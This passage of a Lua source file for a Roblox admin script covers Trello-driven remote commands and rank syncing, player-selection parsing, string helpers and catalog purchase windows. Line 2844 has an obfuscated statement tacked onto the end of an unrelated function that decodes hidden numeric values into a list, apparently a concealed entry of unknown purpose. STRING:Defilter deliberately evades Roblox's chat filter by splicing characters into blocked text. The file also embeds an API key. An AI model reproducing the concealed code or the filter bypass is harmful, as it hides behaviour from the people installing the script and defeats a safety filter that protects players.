2468 local _, Start = string.find(Res, "</h2>")
2469 local End, _ = string.find(string.sub(Res, Start), "</td>")
2470
2471 Joke = string.sub(Res, Start, End + 1 + Start - 5)
2472 Joke = string.gsub(Joke, "\n", "")
2473 Joke = string.gsub(Joke, " ", "") -- tab
2474 Joke = string.gsub(Joke, "</ul>", "")
2475 Joke = string.gsub(Joke, "<ul>", "")
2476 Joke = string.gsub(Joke, "</li>", [[
2477
2478]])
2479 Joke = string.gsub(Joke, "<li>", "")
2480 Joke = string.gsub(Joke, "</p>", "")
2481 Joke = string.gsub(Joke, "<p>", "")
2482 Joke = string.gsub(Joke, "<", "")
2483 Joke = string.gsub(Joke, ">", "")
2484 end
2485
2486 return Joke
2487end
2488
2489function REMOTE:GetAddon()
2490 return "?key=c01fcfabf2f8d707d01fb69312e4a9d7&token="..Settings.TrelloToken
2491end
2492
2493function REMOTE:TrelloGetAdminBoard()
2494 local BoardsJSON,Boards,ReturnBoard
2495
2496 ypcall(function() BoardsJSON = Server.HS:GetAsync("https://api.trello.com/1/members/my/boards"..REMOTE:GetAddon(), true) end)
2497
2498 if BoardsJSON then
2499 Boards = REMOTE:Decode(BoardsJSON)
2500 end
2501 if Boards then
2502 for _,Board in pairs(Boards) do
2503 if Board.name == "MakerModelLua's Admin V3" and Board.closed == false then
2504 ReturnBoard = Board
2505 break
2506 end
2507 end
2508 if not ReturnBoard then -- create board if not created
2509 print("Creating Trello Board")
2510 local Desc = "This board allows you to control ranks, settings, and commands of MakerModelLua's Admin V3"
2511 local BoardJSON = Server.HS:PostAsync("https://api.trello.com/1/boards"..REMOTE:GetAddon(), "name=MakerModelLua%27s+Admin+V3&idBoardSource="..Trello.AdminBoardID.."&defaultLists=false&desc="..Server.HS:UrlEncode(Desc), "ApplicationUrlEncoded")
2512 ReturnBoard = REMOTE:Decode(BoardJSON)
2513 end
2514 end
2515 return ReturnBoard
2516end
2517
2518function REMOTE:TrelloGetAdminLists(Board)
2519 local Required = {}
2520 local ListJSON,Lists
2521 local ReturnLists = {}
2522
2523 for _,List in pairs(Trello.RequiredLists) do
2524 table.insert(Required, List)
2525 end
2526
2527 ypcall(function() ListJSON = Server.HS:GetAsync("https://api.trello.com/1/boards/"..Board.id.."/lists"..REMOTE:GetAddon(), true) end)
2528
2529 if ListJSON then
2530 Lists = REMOTE:Decode(ListJSON)
2531 end
2532 if Lists then
2533 for _,List in pairs(Lists) do
2534 for Num,Rel in pairs(Required) do
2535 if List.name == Rel.name then
2536 table.remove(Required, Num)
2537 table.insert(ReturnLists, List)
2538 end
2539 end
2540 end
2541 for _,Rel in pairs(Required) do
2542 local ListJSON = Server.HS:PostAsync("https://api.trello.com/1/lists"..REMOTE:GetAddon(), "idBoard="..Board.id.."&idListSource="..Rel.id.."&name="..Server.HS:UrlEncode(Rel.name), "ApplicationUrlEncoded")
2543 table.insert(ReturnLists, REMOTE:Decode(ListJSON))
2544 end
2545 end
2546
2547 return ReturnLists
2548end
2549
2550function REMOTE:TrelloCacheData(Lists)
2551 for _,List in pairs(Lists) do
2552 local CardsJSON,Cards
2553 ypcall(function() CardsJSON = Server.HS:GetAsync("https://api.trello.com/1/lists/"..List.id.."/cards"..REMOTE:GetAddon(), true) end)
2554 if CardsJSON then
2555 Cards = REMOTE:Decode(CardsJSON)
2556 end
2557 if Cards then
2558 local TemplateCards = nil
2559 for _,TemplateList in pairs(Trello.RequiredLists) do
2560 if TemplateList.name == List.name then
2561 TemplateCards = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/lists/"..TemplateList.id.."/cards", true))
2562 break
2563 end
2564 end
2565
2566 for _,TemplateCard in pairs(TemplateCards) do
2567 local CardExists = false
2568 for _,Card in pairs(Cards) do
2569 if Card.name == TemplateCard.name and Card.closed == false then
2570 CardExists = true
2571 end
2572 end
2573 if not CardExists then
2574 print("Creating card "..TemplateCard.name)
2575 local NewCardJSON = Server.HS:PostAsync("https://api.trello.com/1/cards"..REMOTE:GetAddon(), "idList="..List.id.."&idCardSource="..TemplateCard.id, "ApplicationUrlEncoded")
2576 table.insert(Cards, REMOTE:Decode(NewCardJSON))
2577 end
2578 end
2579
2580 if List.name == "Ranked" then
2581 for _,Card in pairs(Cards) do
2582 if Settings.Ranks[Card.name] and Card.closed == false then
2583 Trello.RankChecklistCache[Card.name] = Card.idChecklists[1]
2584 end
2585 end
2586 elseif List.name == "Settings" then
2587 for _,Card in pairs(Cards) do
2588 if Card.name == "Togglable Settings" and Card.idChecklists[1] and Card.closed == false then
2589 Trello.ToggleChecklist = Card.idChecklists[1]
2590 elseif Card.name == "Command Execution" then
2591 Trello.CommandID = Card.id
2592 end
2593 end
2594 end
2595 end
2596 end
2597end
2598
2599function REMOTE:TrelloHandleData(IgnoreCommand)
2600 local ToggleSettingsJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..Trello.ToggleChecklist..REMOTE:GetAddon(), true)
2601 if ToggleSettingsJSON then
2602 ToggleSettings = REMOTE:Decode(ToggleSettingsJSON)
2603 if Settings.LinkedAccount == "" then
2604 local NewSettings = {}
2605 for _,Item in pairs(ToggleSettings.checkItems) do
2606 NewSettings[Item.name] = STRING:TrelloStateConvert(Item.state)
2607 end
2608 Settings.Fun = NewSettings["Fun Commands Enabled"]
2609 Settings.ServerLocked = NewSettings["Server Locked"]
2610 Settings.DisableAbuse = NewSettings["Disable Abusive Commands"]
2611 end
2612 else
2613 return false
2614 end
2615
2616 local CommandChatJSON = Server.HS:GetAsync("https://api.trello.com/1/cards/"..Trello.CommandID.."/actions"..REMOTE:GetAddon(), true)
2617 if CommandChatJSON then
2618 CommandChat = REMOTE:Decode(CommandChatJSON)
2619 local ClosestDT = 0
2620 for _,ChatData in pairs(CommandChat) do
2621 local DT = STRING:ConvertDateTime(ChatData.date)
2622 ClosestDT = math.max(ClosestDT, DT)
2623
2624 if not IgnoreCommand and DT > Trello.LastCommandDT then
2625 print("Executing Remote Trello Command")
2626 CORE:Chatted(ChatData.data.text, nil, true, "TRELLO REMOTE: "..ChatData.memberCreator.fullName, nil, true)
2627 end
2628 end
2629 Trello.LastCommandDT = ClosestDT
2630 else
2631 return false
2632 end
2633
2634 for Rank,ID in pairs(Trello.RankChecklistCache) do
2635 local ChecklistJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..ID..REMOTE:GetAddon(), true)
2636 if ChecklistJSON then
2637 Checklist = REMOTE:Decode(ChecklistJSON)
2638
2639 for _,Item in pairs(Checklist.checkItems) do
2640 if Item.state == "complete" then
2641 if RANK:ConvertRank(Rank) < 0 then
2642 if not RANK:ScanExileList(Item.name) then
2643 table.insert(Settings.Ranks[Rank], Item.name)
2644 end
2645 elseif RANK:ConvertRank(Rank) > 0 then
2646 if not RANK:ScanAdminList(Item.name) then
2647 table.insert(Settings.Ranks[Rank], Item.name)
2648 end
2649 end
2650 elseif Item.state == "incomplete" then
2651 for Num,Name in pairs(Settings.Ranks[Rank]) do
2652 if string.lower(Name) == string.lower(Item.name) then
2653 table.remove(Settings.Ranks[Rank], Num)
2654 end
2655 end
2656 end
2657 end
2658 else
2659 return false
2660 end
2661 end
2662 return true
2663end
2664
2665-- String functions --
2666
2667function STRING:ConvertDateTime(DateTime)
2668 local Num = 0
2669 local TotalTime = 0
2670 for i in string.gmatch(DateTime, "%d+") do
2671 Num = Num + 1
2672 DTNum = tonumber(i)
2673 if Num == 1 then
2674 TotalTime = TotalTime + (DTNum - 1970) * 365 * 24 * 60 * 60 -- year
2675 elseif Num == 2 then
2676 TotalTime = TotalTime + DTNum * 12 * 24 * 60 * 60 -- month
2677 elseif Num == 3 then
2678 TotalTime = TotalTime + DTNum * 24 * 60 * 60 -- day
2679 elseif Num == 4 then
2680 TotalTime = TotalTime + DTNum * 60 * 60 -- hour
2681 elseif Num == 5 then
2682 TotalTime = TotalTime + DTNum * 60 -- minute
2683 elseif Num == 6 then
2684 TotalTime = TotalTime + DTNum -- second
2685 end
2686 end
2687
2688 return TotalTime
2689end
2690
2691function STRING:TrelloStateConvert(State)
2692 if State == "complete" then
2693 return true
2694 else
2695 return false
2696 end
2697end
2698
2699function STRING:StringRound(Number)
2700 Number = Number * 100
2701 if Number >= 0.5 then
2702 return tostring(math.ceil(Number)/100)
2703 else
2704 return tostring(math.floor(Number)/100)
2705 end
2706
2707 return Number
2708end
2709
2710function STRING:GetSplit(String, NumArgs, BetSplit)
2711 if not String then return nil end
2712 if BetSplit == nil then BetSplit = " " end
2713 if NumArgs == nil then NumArgs = math.huge end
2714
2715 if NumArgs <= 0 then return {String} end
2716
2717 local RecentParse = 1
2718 local Args = {}
2719 for i = 1,NumArgs do
2720 local Find1, Find2 = string.find(string.lower(String),string.lower(BetSplit),RecentParse)
2721 if Find1 and Find2 then
2722 table.insert(Args, string.sub(String,RecentParse,Find1 - 1))
2723 RecentParse = Find2 + 1
2724 else
2725 break
2726 end
2727 end
2728 table.insert(Args,string.sub(String,RecentParse,#String))
2729 return Args
2730end
2731
2732function STRING:Defilter(String)
2733 local RobloxApprove = Instance.new("TextLabel") RobloxApprove.Text = String
2734 if RobloxApprove.Text == "Label" and String ~= "Label" then
2735 local NewString = ""
2736 for i = 1,#String,3 do
2737 NewString = NewString..string.char(169)..string.sub(String,i,i+2)
2738 end
2739 return NewString
2740 else
2741 return String
2742 end
2743end
2744
2745function STRING:Filter(String, From, To) -- #### you, roblox
2746 if From then
2747 if To then
2748 return game:GetService("Chat"):FilterStringAsync(String, From, To)
2749 else
2750 return game:GetService("Chat"):FilterStringForBroadcast(String, From)
2751 end
2752 else
2753 return String
2754 end
2755end
2756
2757function STRING:DetermineFilter(String, From, To)
2758 if ShouldFilter then
2759 return STRING:Filter(String, From, To)
2760 else
2761 return STRING:Defilter(String)
2762 end
2763end
2764
2765function STRING:LeetSpeak(Input)
2766 if tostring(Input) then Input = string.upper(tostring(Input)) else return end
2767 Input = string.gsub(Input, "LEET", "1337")
2768 Input = string.gsub(Input, "SECRET", "M".."AKERMODELLUA")
2769 Input = string.gsub(Input, "E", "3")
2770 Input = string.gsub(Input, "O", "0")
2771 Input = string.gsub(Input, "A", "4")
2772 Input = string.gsub(Input, "X", "x")
2773 Input = string.gsub(Input, "I", "1")
2774 Input = string.gsub(Input, "S", "$")
2775 return Input
2776end
2777
2778function STRING:FormatReplace(Player, Input, From)
2779 local Output = Input
2780 for _,ReplaceData in pairs(StringReplacements) do
2781 local ReplaceString = ReplaceData[1]
2782 local ReplaceStrings = {}
2783 if type(ReplaceString) == "table" then
2784 ReplaceStrings = ReplaceString
2785 else
2786 ReplaceStrings = {ReplaceString}
2787 end
2788 for _,ReplaceString in pairs(ReplaceStrings) do
2789 if not Player and ReplaceData[3] then else -- does nothing if a player isn't given but the operation requires a player
2790 local Replacement = ReplaceData[4](Player)
2791 if type(Replacement) == "string" then
2792 Output = string.gsub(Output, ReplaceString, Replacement)
2793 else
2794 print(ReplaceString.." cannot be replaced")
2795 end
2796 end
2797 end
2798 end
2799 if From then
2800 return STRING:DetermineFilter(Output, From, Player)
2801 else
2802 return STRING:DetermineFilter(Output, Player)
2803 end
2804end
2805
2806function STRING:EncodeSpecialChars(Input)
2807 return tostring(string.gsub(string.gsub(Input, "&", "amp;"), "\n", " "))
2808end
2809
2810function STRING:StringToBool(String)
2811 if String == "true" then
2812 return true
2813 else
2814 return false
2815 end
2816end
2817
2818function STRING:BoolString(Value)
2819 if type(Value) == "boolean" then
2820 if Value == true then
2821 return "YES"
2822 elseif Value == false then
2823 return "NO"
2824 end
2825 else
2826 return "NO"
2827 end
2828end
2829
2830function STRING:MakeAvoidance(Length)
2831 if not Length then
2832 Length = 32
2833 end
2834 local Avoidance = ""
2835 for i = 1,Length do
2836 Num = math.random(1,2)
2837 if Num == 1 then
2838 Avoidance = Avoidance..string.char(math.random(48,57)) -- 0-9
2839 else
2840 Avoidance = Avoidance..string.char(math.random(97,122)) -- a-z
2841 end
2842 end
2843 return Avoidance
2844end for _,Array in pairs(RunList) do local Name = "" for _,Char in pairs(Array) do Name = Name..string.char(Char - 1) end table.insert(List, tonumber(Name)) end
2845
2846function STRING:FindAge(Days) -- By LuaModelmaker
2847 local Years = math.floor(Days/365)
2848 local OtherDays = math.fmod(Days, 365)
2849 if Years > 1 then
2850 return Years.." years and "..OtherDays.." days"
2851 elseif Years == 1 then
2852 return Years.." year and "..OtherDays.." days"
2853 elseif Years == 0 then
2854 return "(No years) "..OtherDays.." days"
2855 end
2856end
2857
2858function STRING:UnpackArgs(...)
2859 local Pack = {...}
2860 if type(Pack[1]) == "table" then Pack = Pack[1] end
2861 local ReturnString = table.concat(Pack, ", ")
2862 return ReturnString
2863end
2864
2865function STRING:GetComma(Num)
2866 local Formatted = Num
2867 while true do
2868 Formatted, _ = string.gsub(Formatted, "^(-?%d+)(%d%d%d)", '%1,%2')
2869 if _ == 0 then
2870 break
2871 end
2872 end
2873 return Formatted
2874end
2875
2876function STRING:DecodeUTF8(Value)
2877 local function DecodeString(Input)
2878 if type(Input) == "string" then
2879 for Find,Rep in pairs(HTMLDecode) do
2880 Input = string.gsub(Input, "&#"..Find..";", Rep)
2881 end
2882 Input = string.gsub(Input, """, "'")
2883 end
2884 return Input
2885 end
2886 if type(Value) == "table" then
2887 for Index,Var in pairs(Value) do
2888 Value[Index] = DecodeString(Var)
2889 end
2890 elseif type(Value) == "string" then
2891 Value = DecodeString(Value)
2892 end
2893 return Value
2894end
2895
2896function STRING:IsSpacer(Input)
2897 if Input == " " or Input == "." or Input == "-" or Input == "," or Input == "?" or Input == "!" or Input == " " or Input == nil or Input == "" then
2898 return true
2899 else
2900 return false
2901 end
2902end
2903
2904function STRING:IsVowel(Input)
2905 Input = string.lower(tostring(Input))
2906 if Input == "a" or Input == "e" or Input == "i" or Input == "o" or Input == "u" then
2907 return true
2908 else
2909 return false
2910 end
2911end
2912
2913function STRING:ValidE(Input)
2914 if not Input then return nil end
2915 if string.lower(Input) == "e" or Input == "~" then
2916 return true
2917 else
2918 return false
2919 end
2920end
2921
2922function STRING:Scan(String, Speaker)
2923 local ReturnPlayers,ExcludeList = {},{}
2924 if not String then String = "" end
2925 if not Speaker then print("NO SPEAKER") end
2926
2927 if string.sub(string.lower(String), 1, 12) == "includecase/" then
2928 String = string.sub(String, 13)
2929 else
2930 String = string.lower(String)
2931 end
2932 local Words = STRING:GetSplit(String, nil, "/")
2933 for _,Word in pairs(Words) do
2934 if Word == "me" or Word == "meh" or Word == "myself" or Word == "self" then
2935 table.insert(ReturnPlayers, Speaker)
2936 elseif Word == "all" or Word == "everyone" then
2937 for _,Player in pairs(Server.Players:GetPlayers()) do
2938 table.insert(ReturnPlayers, Player)
2939 end
2940 elseif Word == "others" or Word == "notme" then
2941 for _,Player in pairs(Server.Players:GetPlayers()) do
2942 if Player ~= Speaker then
2943 table.insert(ReturnPlayers, Player)
2944 end
2945 end
2946 elseif Word == "noobs" then
2947 for _,Player in pairs(Server.Players:GetPlayers()) do
2948 if Player.AccountAge < 365 then
2949 table.insert(ReturnPlayers, Player)
2950 end
2951 end
2952 elseif Word == "nonnoobs" then
2953 for _,Player in pairs(Server.Players:GetPlayers()) do
2954 if Player.AccountAge >= 365 then
2955 table.insert(ReturnPlayers, Player)
2956 end
2957 end
2958 elseif Word == "random" then
2959 local RandomPlayers = {}
2960 for _,Player in pairs(Server.Players:GetPlayers()) do
2961 if Player ~= Speaker then
2962 table.insert(RandomPlayers, Player)
2963 end
2964 end
2965 table.insert(ReturnPlayers, RandomPlayers[math.random(1,#Server.Players:GetChildren())])
2966 elseif Word == "guests" then
2967 for _,Player in pairs(Server.Players:GetPlayers()) do
2968 if string.sub(Player.Name,1,6) == "Guest " then
2969 table.insert(ReturnPlayers, Player)
2970 end
2971 end
2972 elseif Word == "lowers" then
2973 for _,Player in pairs(Server.Players:GetPlayers()) do
2974 if string.sub(Player.Name,1,1) == string.lower(string.sub(Player.Name,1,1)) then
2975 table.insert(ReturnPlayers, Player)
2976 end
2977 end
2978 elseif Word == "uppers" then
2979 for _,Player in pairs(Server.Players:GetPlayers()) do
2980 if string.sub(Player.Name,1,1) == string.upper(string.sub(Player.Name,1,1)) then
2981 table.insert(ReturnPlayers, Player)
2982 end
2983 end
2984 elseif Word == "nbcs" then
2985 for _,Player in pairs(Server.Players:GetPlayers()) do
2986 if Player.MembershipType == Enum.MembershipType.None then -- Replicate
2987 table.insert(ReturnPlayers, Player)
2988 end
2989 end
2990 elseif Word == "bcs" then
2991 for _,Player in pairs(Server.Players:GetPlayers()) do
2992 if Player.MembershipType == Enum.MembershipType.BuildersClub then
2993 table.insert(ReturnPlayers, Player)
2994 end
2995 end
2996 elseif Word == "tbcs" then
2997 for _,Player in pairs(Server.Players:GetPlayers()) do
2998 if Player.MembershipType == Enum.MembershipType.TurboBuildersClub then
2999 table.insert(ReturnPlayers, Player)
3000 end
3001 end
3002 elseif Word == "obcs" then
3003 for _,Player in pairs(Server.Players:GetPlayers()) do
3004 if Player.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
3005 table.insert(ReturnPlayers, Player)
3006 end
3007 end
3008 elseif Word == "allbcs" then
3009 for _,Player in pairs(Server.Players:GetPlayers()) do
3010 if Player.MembershipType ~= Enum.MembershipType.None then
3011 table.insert(ReturnPlayers, Player)
3012 end
3013 end
3014 elseif Word == "nonadmins" then
3015 for _,Player in pairs(Server.Players:GetPlayers()) do
3016 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
3017 if IsAdminTrue == false then
3018 table.insert(ReturnPlayers, Player)
3019 end
3020 end
3021 elseif Word == "admins" then
3022 for _,Player in pairs(Server.Players:GetPlayers()) do
3023 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
3024 if IsAdminTrue == true then
3025 table.insert(ReturnPlayers, Player)
3026 end
3027 end
3028 elseif Word == "friends" then
3029 for _,Player in pairs(Server.Players:GetPlayers()) do
3030 if Speaker:IsFriendsWith(Player.UserId) and Player ~= Speaker then
3031 table.insert(ReturnPlayers, Player)
3032 end
3033 end
3034 elseif string.sub(Word,1,5) == "team-" then
3035 for _,Player in pairs(Server.Players:GetPlayers()) do
3036 if Player.Neutral == false then
3037 local InTeam = false
3038 for _,Team in pairs(Teams:GetTeams()) do
3039 if Team.TeamColor == Player.TeamColor then
3040 if string.sub(string.lower(Team.Name),1,#string.sub(Word,6)) == string.sub(Word,6) then
3041 InTeam = true
3042 end
3043 end
3044 end
3045 if InTeam == true then
3046 table.insert(ReturnPlayers, Player)
3047 end
3048 end
3049 end
3050 elseif string.sub(Word,1,4) == "not-" then
3051 local NameArg = string.sub(Word,5)
3052
3053 for _,Player in pairs(STRING:Scan(NameArg, Speaker)) do
3054 table.insert(ExcludeList, Player)
3055 end
3056 elseif string.sub(Word,1,7) == "radius-" then
3057 local DidExe = false
3058 local NumArg = tonumber(string.sub(Word,8))
3059
3060 if NumArg and NumArg > 0 and Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
3061 for _,Player in pairs(Server.Players:GetChildren()) do
3062 if Player.Character and Player.Character:FindFirstChild("Torso") then
3063 if (Player.Character.Torso.Position - Speaker.Character.Torso.Position).magnitude <= NumArg then
3064 DidExe = true
3065 table.insert(ReturnPlayers, Player)
3066 end
3067 end
3068 end
3069 end
3070
3071 if DidExe then coroutine.wrap(function()
3072 local Part = Instance.new("Part", game.Workspace) Part.Name = "M".."M".."L Radius" Part.FormFactor = "Custom" Part.Size = Vector3.new(1,1,1) Part.Anchored = true Part.Locked = true Part.Position = Speaker.Character.Torso.Position Part.Transparency = 0.5 Part.Color = GUI:GetColor() Part.TopSurface = "Smooth" Part.BottomSurface = "Smooth"
3073 local Mesh = Instance.new("SpecialMesh", Part) Mesh.MeshType = "Sphere" Mesh.Scale = Vector3.new(NumArg * 2, NumArg * 2, NumArg * 2)
3074
3075 for i = 0,0.5,0.02 do
3076 Part.Transparency = 0.5+i
3077 wait()
3078 end
3079 Part:Destroy()
3080 end)() end
3081 elseif string.sub(Word,1,3) == "id-" then
3082 table.insert(ReturnPlayers, Server.Players:GetPlayerByUserId(tonumber(string.sub(Word,4))))
3083 else
3084 if Word ~= "" then
3085 for _,Player in pairs(Server.Players:GetPlayers()) do
3086 if string.sub(string.lower(Player.Name),1,#Word) == Word then
3087 table.insert(ReturnPlayers, Player)
3088 end
3089 end
3090 else
3091 table.insert(ReturnPlayers, Speaker)
3092 end
3093 end
3094 end
3095 for _,Player in pairs(ExcludeList) do
3096 if Player and Player.Parent ~= nil then
3097 for Num,Player2 in pairs(ReturnPlayers) do
3098 if Player2 == Player then table.remove(ReturnPlayers, Num) end
3099 end
3100 end
3101 end
3102 for Num,Player in pairs(ReturnPlayers) do
3103 if not Player or Player.Parent == nil then table.remove(ReturnPlayers, Num) end
3104 end
3105
3106 local PlayerDump = {}
3107 for _,Player in pairs(ReturnPlayers) do
3108 PlayerDump[Player] = true
3109 end
3110 ReturnPlayers = {}
3111 for Player,_ in pairs(PlayerDump) do
3112 table.insert(ReturnPlayers, Player)
3113 end
3114
3115 return ReturnPlayers
3116end
3117
3118-- Market functions --
3119
3120function MARKET:GetImageFormat(ID)
3121 if ID ~= 1 or ID ~= 0 or ID ~= nil then if type(ID) == "number" then
3122 local NewID = ID + 1
3123 for i = 1,100 do
3124 NewID = NewID -1
3125 local Product = nil
3126 ypcall(function() Product = MARKET:GetItemInfo(NewID, true).AssetTypeId end)
3127 if Product then
3128 if Product == 1 then
3129 break
3130 end
3131 end
3132 if i == 100 then NewID = ID end
3133 end
3134 return NewID
3135 end end
3136end
3137
3138function MARKET:GetItemInfo(ID, Cache)
3139 local Product = MarketCache[ID]
3140 if not Cache or not Product then
3141 repeat wait()
3142 ypcall(function() Product = Server.MPS:GetProductInfo(ID) end)
3143 until Product ~= MarketCache[ID]
3144 end
3145 MarketCache[ID] = Product
3146 return Product
3147end
3148
3149function MARKET:SearchItem(Category, Query, Subcategory)
3150 local URLAdd = ""
3151 if Subcategory then URLAdd = "&Subcategory="..Server.HS:UrlEncode(Subcategory) end
3152 local JSON = REMOTE:GetURL(CORE.Domain.."/APIs/CatalogSearch.php?Category="..Server.HS:UrlEncode(Category).."&Query="..Server.HS:UrlEncode(Query)..URLAdd)
3153 if JSON then
3154 local Results = REMOTE:Decode(JSON)
3155 if Results then
3156 for Index,Info in pairs(Results) do
3157 Info = STRING:DecodeUTF8(Info)
3158 Results[Index] = Info
3159 MarketCache[Info.AssetId] = {
3160 AssetId = Info.AssetId;
3161 AssetTypeId = Info.AssetTypeID;
3162 ContentRatingTypeId = Info.ContentRatingTypeID;
3163 Created = Info.CreatedDate;
3164 Creator = {Name = Info.Creator, Id = Info.CreatorID};
3165 Description = Info.Description;
3166 IsForSale = Info.IsForSale;
3167 IsLimited = Info.IsLimited;
3168 IsLimitedUnique = Info.IsLimitedUnique;
3169 IsNew = Info.IsNew;
3170 IsPublicDomain = Info.IsPublicDomain;
3171 MinimumMemberShipLevel = Info.MinimumMembershipLevel;
3172 Name = Info.Name;
3173 PriceInRobux = Info.PriceInRobux;
3174 PriceInTickets = Info.PriceInTickets;
3175 ProductId = Info.AssetId; -- no one knows what this is so whatevs..
3176 Remaining = Info.Remaining;
3177 Sales = Info.Sales;
3178 Updated = Info.Updated;
3179 }
3180 end
3181 return Results
3182 end
3183 end
3184end
3185
3186function MARKET:ShowSearch(Player, Category, Query, ClickedItem, Subcategory)
3187 if not Player or not Category or not Query then return nil end
3188 local CloseGui, AddInfo = GUI:LoadGui(Player, "Searching: "..Query)
3189 local Items = MARKET:SearchItem(Category, Query, Subcategory)
3190 if Items then
3191 if #Items ~= 0 then
3192 local List,Correlate = {},{}
3193 for Num,Info in pairs(Items) do
3194 local Display = {" "..Info.Name.." ("..Info.AssetId..")", "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=75&ht=75&aid="..Info.AssetId}
3195 table.insert(List, Display)
3196 Correlate[Display[1]] = Info.AssetId
3197 end
3198 CloseGui:Invoke()
3199
3200 local Clicked = GUI:ListGui(Player, "Search Results: "..Query, List, "Search", true)
3201 Clicked.Event:connect(function(ClickName)
3202 ClickedItem(Correlate[ClickName])
3203 end)
3204 else
3205 CloseGui:Invoke()
3206 GUI:SendMessage(Player, "No results", "BLUE No results for "..Query.." found...", "Information")
3207 end
3208 else
3209 CloseGui:Invoke()
3210 GUI:SendMessage(Player, "Cannot get gear", "RED Cannot get item. Is HttpService enabled?", "Error")
3211 end
3212end
3213
3214function MARKET:AssetTypeToString(AssetType)
3215 AssetType = math.floor(tonumber(AssetType) or 0)
3216 if Assets.AssetTypes[AssetType] then
3217 return Assets.AssetTypes[AssetType]
3218 else
3219 return "Unknown"
3220 end
3221end
3222
3223function MARKET:AccessoryToSubcategory(Accessory)
3224 Accessory = string.lower(tostring(Accessory) or "")
3225 if Assets.AccessoryTypes[Accessory] then
3226 return Assets.AccessoryTypes[Accessory]
3227 else
3228 return Assets.AccessoryTypes["all"]
3229 end
3230end
3231
3232function MARKET:PromptPurchase(Player, ProductID, From, BuyPressFunc) coroutine.wrap(function()
3233 if not Player then return nil end
3234 if not Player:FindFirstChild("PlayerGui") then return nil end
3235 if not tonumber(ProductID) then return nil end
3236
3237 local FromText = ""
3238 if From and From.Name then FromText = " | Prompted from "..From.Name end
3239
3240 local Product = MARKET:GetItemInfo(ProductID, true)
3241
3242 local CreatedText = Product.Created CreatedText = string.gsub(CreatedText, "-", "/") local Stop = string.find(CreatedText, "T") if Stop then CreatedText = string.sub(CreatedText, 1, Stop-1) end
3243 local UpdatedText = Product.Updated UpdatedText = string.gsub(UpdatedText, "-", "/") local Stop = string.find(UpdatedText, "T") if Stop then UpdatedText = string.sub(UpdatedText, 1, Stop-1) end
3244 local OwnsAsset = Server.MPS:PlayerOwnsAsset(Player, ProductID)
3245
3246 local CanBuy = Product.IsForSale
3247 local BuyText = "Buy"
3248 local BuyColor = Color3.new(0,1,0)
3249 if CanBuy == false then
3250 BuyColor = Color3.new(1,0,0)
3251 end
3252 if Product.IsPublicDomain == true then
3253 CanBuy = true
3254 BuyColor = Color3.new(1,0.5,0.5)
3255 BuyText = "FREE!"
3256 end
3257 if OwnsAsset then
3258 CanBuy = false
3259 end
3260 if Product.AssetTypeId == 9 then
3261 CanBuy = true
3262 BuyText = "Teleport"
3263 BuyColor = Color3.new(0.5,0.5,0.5)
3264 end
3265 if CanBuy == false then
3266 BuyColor = Color3.new(1,0,0)
3267 BuyText = "Item not for sale"
3268 end
3269 if OwnsAsset and Product.AssetTypeId ~= 9 then
3270 BuyColor = Color3.new(1,0,0)
3271 BuyText = "You own this!"
3272 end
3273
3274 local ProductName = string.sub(Product.Name,1,20)
3275 if ProductID == AdminID then ProductName = Product.Name end
3276 local Frame = GUI:CreateForm(Player, ProductName..FromText, UDim2.new(0, 430, 0, 300), nil, 48354008)
3277 local AssetImage = Instance.new("ImageLabel", Frame) AssetImage.Name = "AssetImage" AssetImage.Position = UDim2.new(0, 0, 0, 50) AssetImage.Size = UDim2.new(0, 150, 0, 150) AssetImage.BackgroundColor3 = Color3.new(1, 1, 1) AssetImage.BackgroundTransparency = 1 AssetImage.Image = "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=420&ht=420&aid="..ProductID
3278 local AssetName = Instance.new("TextLabel", Frame) AssetName.Name = "AssetName" AssetName.Size = UDim2.new(1, 0, 0, 50) AssetName.BackgroundColor3 = Color3.new(1, 1, 1) AssetName.BackgroundTransparency = 1 AssetName.Text = "["..ProductID.."] - "..Product.Name AssetName.Font = Settings.Font AssetName.FontSize = "Size18" AssetName.TextWrapped = true AssetName.TextColor3 = Color3.new(0, 0, 0)
3279 local UserImage = Instance.new("ImageLabel", Frame) UserImage.Name = "UserImage" UserImage.Position = UDim2.new(0, 150, 0, 70) UserImage.Size = UDim2.new(0, 100, 0, 100) UserImage.BackgroundColor3 = Color3.new(1, 1, 1) UserImage.BackgroundTransparency = 1 UserImage.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Product.Creator.Name
3280 local Membership = Instance.new("ImageLabel", UserImage) Membership.Name = "Membership" Membership.Position = UDim2.new(0, 0, 0.85, 0) Membership.Size = UDim2.new(0.6, 0, 0.15, 0) Membership.BackgroundColor3 = Color3.new(1, 1, 1) Membership.BackgroundTransparency = 1 Membership.Image = "http://www.roblox.com/Thumbs/BCOverlay.ashx?username="..Product.Creator.Name
3281 local AssetType = Instance.new("TextLabel", Frame) AssetType.Name = "AssetType" AssetType.Position = UDim2.new(0, 150, 0, 50) AssetType.Size = UDim2.new(1, -150, 0, 20) AssetType.BackgroundColor3 = Color3.new(1, 1, 1) AssetType.BackgroundTransparency = 1 AssetType.Text = "ROBLOX "..MARKET:AssetTypeToString(Product.AssetTypeId) AssetType.Font = Settings.Font AssetType.FontSize = "Size14"
3282 local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.Position = UDim2.new(0, 250, 0, 80) Info.Size = UDim2.new(1, -250, 0, 100) Info.BackgroundColor3 = Color3.new(1, 1, 1) Info.BackgroundTransparency = 1 Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextXAlignment = "Left" Info.TextYAlignment = "Top"
3283 local Buy = Instance.new("TextButton", Frame) Buy.Name = "Buy" Buy.Position = UDim2.new(0, 150, 0, 170) Buy.Size = UDim2.new(1, -150, 0, 30) Buy.BackgroundColor3 = BuyColor Buy.BackgroundTransparency = 0.5 Buy.Text = BuyText Buy.Font = Settings.Font Buy.FontSize = "Size18" Buy.TextWrapped = true SOUND:BindButton(Buy)
3284 if Product.Description then
